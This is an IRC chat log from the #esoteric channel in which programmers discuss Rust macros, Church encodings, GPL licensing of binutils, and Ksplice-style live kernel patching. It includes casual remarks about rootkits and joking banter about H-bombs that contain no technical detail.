< 1396051433 418335 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Very poetic < 1396052090 160840 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396052527 360388 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 264 seconds < 1396052552 587118 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1396052786 402554 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think I like WAI and conduits... but Yesod itself maybe not so much :/ < 1396052796 247502 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should actually try writing code at some point < 1396053509 297121 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396053679 468192 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396053681 547615 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396053812 976739 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1396054136 297922 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ugh < 1396054139 557571 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :took me awhile < 1396054141 497511 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but "h < 1396054144 808369 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396054145 543746 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :derp < 1396054157 558219 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but "Hi" in Barely is xhooooooooooooooxjjjjjjjjjjjjjjhhhh~ < 1396054206 207376 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :or atleast i think, dont feel like making a DOS vm (or touching the dinosoar) < 1396054227 347413 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :does anyone know if barely outputs as ASCII? < 1396054230 911722 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it doesnt say < 1396054409 59191 :nooodl!~nooodl@91.177.77.176 QUIT :Quit: Ik ga weg < 1396057505 485811 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396058611 928414 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is ATS likely to be of any interest compared to Idris and similar languages? < 1396058676 995301 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no < 1396059020 538668 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396059440 657701 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo did you learn Rust yet < 1396059449 538866 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I read about it some time ago < 1396059466 598940 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should go read about procedural macros in Rust... is that in 0.9 or only in HEAD? < 1396059510 487692 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :think only in HEAD < 1396059514 958398 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and there's not a lot to read :P < 1396059548 739666 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean "procedural macro" is a fancy term for "we dlopen() your crate in the compiler and stuff your function into the frontend pipeline" < 1396059565 357964 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so you're coding against the internal rustc APIs (which use deprecated language features, lololol) < 1396059568 127617 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah. So not a nice pretty syntax-case < 1396059583 909136 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :no < 1396059604 107823 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the non-procedural "Macros By Example" are pattern-matching-based < 1396059606 918200 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's neat, so you have pretty clean compiletime runtime separation < 1396059617 627943 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but maybe they're closer to syntax-rules? i don't know scheme that well < 1396059619 957732 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :anyway < 1396059688 167490 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: that internal rustc API does include a quasiquote syntax, thankfully < 1396059689 118156 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://github.com/kmcallister/html5/blob/82ddb1433237023daf1168abcb8b1c233b5e6858/macros/named_entities.rs#L103-L110 < 1396059716 907771 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :syntax-rules is pattern matching based, syntax-case includes a macro for pattern matching called syntax-case, but implies other things that allow for arbitrary computation of syntax objects easily < 1396059724 29626 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1396059759 201298 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: how do you mean? < 1396059777 282790 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :macros don't stick around in the runtime image, they're only loaded in the compiler context < 1396059834 188086 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sure, that's basically what I expect from a language with macros and a phase distinction < 1396059862 548428 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the syntax to load a procedural macro crate is #[phase(syntax)] extern crate my_macros; < 1396059870 637848 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if you want that crate avail. at runtime too you can do #[phase(syntax,link)] < 1396060036 277858 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :actually that's how you load non-procedural exported macros, too < 1396060043 100268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :does scheme do it? < 1396060050 948057 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the ability to export macros from a crate came in at the same time as procedural macros < 1396060058 934622 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :idk, scheme doesn't have so much of a phase distinction though, does it? < 1396060073 657687 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in some lisps anyway "compile" is just a function you can invoke at runtime < 1396060089 199348 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :like instead of (eval foo) you compile it first and now it's faster < 1396060090 201678 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, i don't know < 1396060100 148428 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :paging someone who knows scheme < 1396060101 448879 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :common lisp has a phase distinction but macros stick around < 1396060117 992003 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what do they do at runtime? hang around awkwardly looking at their shoes? < 1396060124 800758 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :basically yeah < 1396060141 145567 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's one of the ways common lisp is obviously made for lisp machines :/ (and so a persistent environment you fuck with) < 1396060155 399219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I see < 1396060207 847479 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: Racket has phases, can't speak for Schemes in general < 1396060574 349121 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396060601 309465 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1396061424 587433 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I wonder if anyone has made a runtime eval() for Rust yet < 1396061452 138112 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in theory it shouldn't be that hard, because the compiler is written as a library (rather, various libraries) < 1396061479 917705 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and it can compile to a .so and there's a cross-platform dlopen()-like interface already in the stdlib < 1396061499 38217 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(it's a pretty minimal wrapper, though; doesn't do load-time typechecking or anything) < 1396061539 438344 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you could also try to use the LLVM JIT, that's what the old rusti used, but it was removed due to bugginess < 1396061982 473178 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is b -> (a -> b) -> b morally equivalent to Maybe a? Is there a name for doing that? Can it be done with List a? < 1396062005 607942 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yes and yes < 1396062012 419599 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :church encoding < 1396062021 307920 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it can be done in a couple of different ways with List < 1396062036 609119 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :simplest form of that gives you exactly foldr < 1396062095 38102 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Are there types whose church encoding covers more than just the type? < 1396062104 968074 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was thinking Maybe Int, but not in that case < 1396062134 887720 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But... e.g. something where you could say const something instead of using the input, to build something that doesn't actually correspond to a value that the type has < 1396062162 447782 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :hm < 1396062172 698179 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :as long as you have a polymorphic return value, it's equivalent to some type < 1396062264 379252 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396062336 949379 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1396062362 229847 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how does that theorem work? :) < 1396062368 301760 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Sgeo: forall b. b -> (a -> b) -> b is Maybe a < 1396062379 127719 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :is what copumpkin means < 1396062393 847508 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: there's also Mogensen-Scott encoding < 1396062481 165596 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah, that's what I meant by the couple of different ways for List < 1396062489 87617 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :for non-recursive types they look the same < 1396062492 27804 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah < 1396062510 228979 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i forgot the difference, anyway, I guess it's about whether it represents one level of constructor or all of them? < 1396062518 557822 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :like whether it folds the whole list or just applies a function to the first cons cell < 1396062533 157891 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :newtype List a = List (forall r. r -> (a -> List a -> r) -> r) < 1396062539 767693 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :newtype List a = List (forall r. r -> (a -> r -> r) -> r) < 1396062544 707771 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :*nod* < 1396062609 948183 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396062633 688033 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :SomeException isn't as magic as I thought, I think < 1396062689 348205 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :throw ThisException `catch` \e -> putStrLn ("Caught " ++ show (e :: MyException)) < 1396062705 127209 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I gather that it's just return type polymorphism getting to brag some more < 1396062768 707865 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :does the GPL dislike it if I distribute a subset of someone's work? < 1396062782 348353 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :like, I want to distribute a tarball of binutils minus everything that isn't needed for libopcodes < 1396062794 668053 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :because it's ****ing huge otherwise < 1396062832 347675 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it doesn't seem like it should be problematic, right? < 1396062857 575747 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :a mirror for the other parts of binutils is provided by the gnu foundation, < 1396062885 617757 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :there's a libopcodes-only distro? I'd take that < 1396062902 573451 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it unfortunately also tries to depend on libiberty, bfd, and intl < 1396062952 284866 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“You may convey a work based on the Program, or the modifications to produce it from the Program [...]” < 1396063032 487758 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the gnu operating system < 1396063066 338663 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(But “Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.”) < 1396063095 67904 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I was recently reminiscing about how I happened to have BFD on my résumé when I applied to Ksplice (because I'd done like two 50-line projects)… < 1396063109 308091 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and they were excited because the core of their product is a 3,000 line C program which uses BFD heavily and has very few comments < 1396063128 848080 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sorry that's 3,000 lines in one file, there are some other files too < 1396063156 856721 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what's bfd < 1396063217 860678 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Binary_File_Descriptor_library < 1396063220 948943 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :don't miss the "history" section < 1396063434 117992 :ion!ion@heh.fi PRIVMSG #esoteric :kmc: Any thoughts on ? < 1396063513 798653 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hmm < 1396063516 459515 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I haven't looked at this < 1396063542 954657 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it looks extremely similar to Ksplice < 1396063549 248382 :ion!ion@heh.fi PRIVMSG #esoteric :yeah < 1396063561 408174 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not just in purpose/design but the code structure is very similar < 1396063567 208483 :ion!ion@heh.fi PRIVMSG #esoteric :ok < 1396063581 18249 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it might be a fork -- the original Ksplice was GPL, and they would change the name to avoid Oracle trademark lawyers < 1396063587 918270 :ion!ion@heh.fi PRIVMSG #esoteric :ok < 1396063596 318143 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but I don't see ksplice people listed in the copyright sections < 1396063666 22667 :ion!ion@heh.fi PRIVMSG #esoteric :I wouldn’t mind the maintainers of my $distro starting to use that officially. < 1396063762 578213 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Unfortunately kpatch depends on Linux kernel >= 3.7, so it’s not compatible with RHEL/CentOS 6." < 1396063774 609082 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Heh, the github history starts with a 2000-line kmod < 1396063776 907539 :ion!ion@heh.fi PRIVMSG #esoteric :at some point in the future < 1396063781 658302 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :... this may have been written from scratch < 1396063806 678215 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the commercial version of ksplice worked all the way back to RHEL4's 2.6.9 kernel < 1396063823 847939 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :though the released GPL code only supported CentOS 5 < 1396063843 698635 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :supporting 2.6.9 resulted in some hilarity, had to ksplice fixes to bugs that would prevent other ksplicing from working < 1396063860 408673 :ion!ion@heh.fi PRIVMSG #esoteric :nice < 1396063891 779511 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah it's cool that you could apply updates to a system that was booted years before ksplice existed < 1396063903 107953 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :since it works on a totally stock distro kernel without rebooting even once < 1396063909 728917 :ion!ion@heh.fi PRIVMSG #esoteric :yeagh < 1396063912 808561 :ion!ion@heh.fi PRIVMSG #esoteric :yeah even :-P < 1396063935 30584 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't think it would take all that much work for some skilled kernel developers (of which RH has many) to reimplement ksplice just for 3.7+ < 1396063943 788149 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :since they have the paper and the GPL'd code to look at < 1396063998 48759 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and they have a clear competitive reason to do so < 1396064040 44580 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ion and kmc have the same color on my end and it's tripping me out < 1396064042 208728 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“Frequently Asked Questions. Q: Isn't this just a virus/rootkit injection framework?” < 1396064047 68304 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hahaha < 1396064049 28076 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1396064052 398693 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ksplice would make a baller rootkit < 1396064053 596695 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :thank you jafet < 1396064057 438260 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's also a good rootkit detector < 1396064059 428242 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you have broken the curse < 1396064061 568740 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :we detected a lot of rootkits bitd < 1396064066 208789 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :uhhh yes insmod is a great rootkit injection < 1396064099 8792 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah, what I mean is that ksplice tech would help one write a very sophisticated rootkit, but having ksplice on your system doesn't make it any easier for an attacker to install a rootkit < 1396064117 475264 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :do malicious linux rootkits exist < 1396064121 488169 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :? < 1396064130 275770 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :do they? < 1396064132 308250 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Almost certainly yes < 1396064134 688940 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't understand the question < 1396064135 248161 :ion!ion@heh.fi PRIVMSG #esoteric :No, they are all benevolent. < 1396064177 528827 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I want to write a Linux kernel rootkit in Rust < 1396064201 68634 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :people have written a few kernel modules in Rust but only hello world stuff < 1396064211 158710 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it would be fun to do something complicated and actually write Rust bindings for parts of the kernel API and such < 1396064223 436188 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :when i used windows i got hit by rootkits once or twice. does (not "can") this occur on linux < 1396064237 988085 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes, most servers run Linux so malware for compromising Linux servers is very popular < 1396064249 640015 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh < 1396064254 218597 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"rootkit" is something I associate with servers, anyway < 1396064264 564850 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's usually called something else when it's desktop malware although the distinction may be arbitrary < 1396064280 188267 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :to me the term "rootkit" basically assumes you have a nosy sysadmin and you want to hide things from them < 1396064320 908193 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one of the major features of a rootkit is to hide stuff from ls, ps, etc. < 1396064341 748084 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: are you a nosy sysadmin < 1396064342 29479 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: hm, scheme would go fnord. i'll start working on it < 1396064356 612265 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I thought eastern european haxxxorz but that sounds plausible too < 1396064360 788506 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: very good. give me status updates every half-hour. < 1396064360 975147 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: all fnord colours are black, no matter what it's called < 1396064375 748034 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"HAXXXOR Volume 1: No Longer Floppy" < 1396064389 438285 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://archive.org/details/haxxxor_volume_1_dvd nsfw < 1396064396 748041 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot: any fnord colour you like < 1396064397 168506 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: but without mmu isn't as bad as last time we had turkey was the thanksgiving of ' 98 when the oven element burned out and we made easy os. < 1396064399 458068 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :whoa < 1396064408 844309 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :With the risque "HaXXXor" series of low-budget films, Nmap makes the leap from Science fiction to soft-core pornography. < 1396064431 347922 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://nmap.org/movies/elysium/elysium-nmap-screenshot-720x400.jpg i love this shit < 1396064473 628370 :ion!ion@heh.fi PRIVMSG #esoteric :I hate it when hackers download lethal threats to my data hosts. < 1396064475 66939 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"If you notice something familiar about the background Nmap scans in the screenshots below, it's because the film makers directly cribbed some of them from The Matrix Reloaded. " oh this is good stuff < 1396064734 328285 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fnord < 1396064737 687855 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i should keep reading that book < 1396064821 178927 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :p. < 1396064837 958158 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :help < 1396064972 830773 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the novelization of matrix reloaded was pretty good, < 1396065069 999939 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh, this RH thing uses rather than BFD < 1396065071 678280 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :probably wise. < 1396065991 419897 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396066177 758462 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION reads http://community.haskell.org/~simonmar/papers/ext-exceptions.pdf < 1396066881 778979 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1396067043 409966 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1396067491 638700 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"There was an experiment at Sandia Labs in which a backdoor was inserted into code and code reviewers told where in code to look for it. They could not find it – even knowing where to look." < 1396067507 49059 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool < 1396067508 658548 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :details? < 1396067520 68894 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know details, I'm just quoting from https://blogs.oracle.com/maryanndavidson/entry/mandated_third_party_static_analysis < 1396067690 688289 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, hivemind seems to dislike that article http://www.reddit.com/r/netsec/comments/21fj35/mandated_third_party_static_analysis_bad_public/ < 1396068157 128421 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is the code available that other people can look too? < 1396068238 949635 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1396068691 848501 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah while we're at it I'll also take a glance at some of their hydrogen bomb designs < 1396069335 578830 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396070078 120957 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396070183 312828 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 268 seconds < 1396070332 696111 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :kmc: eh why bother. we could probably do better building an open source H-bomb. < 1396070477 598122 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how hard can it be < 1396070571 198639 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Just stick some hydrogen in a jar, right? < 1396070583 233562 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :well there's that one 14-year-old kid who built a reactor, and enriched some yellow cake in his garage. so i think the answer to your question is "so easy a well-informed teenager could do it" < 1396070592 528151 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kmc: I pushed my libopcodes haskell binding < 1396070602 876290 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it's not on hackage yet, but I'll get it up sometime < 1396070611 298254 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it's still pretty rough but I'll polish it up over the weekend < 1396070624 708533 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396070644 218785 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cooool < 1396070658 314217 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396070675 28549 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i think there are a few steps from somewhat enriched uranium to weaponized thermonuclear device < 1396070718 486117 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yeah. nothing so difficult we couldn't do it with a couple hundred k dollars in machinery, right? < 1396070913 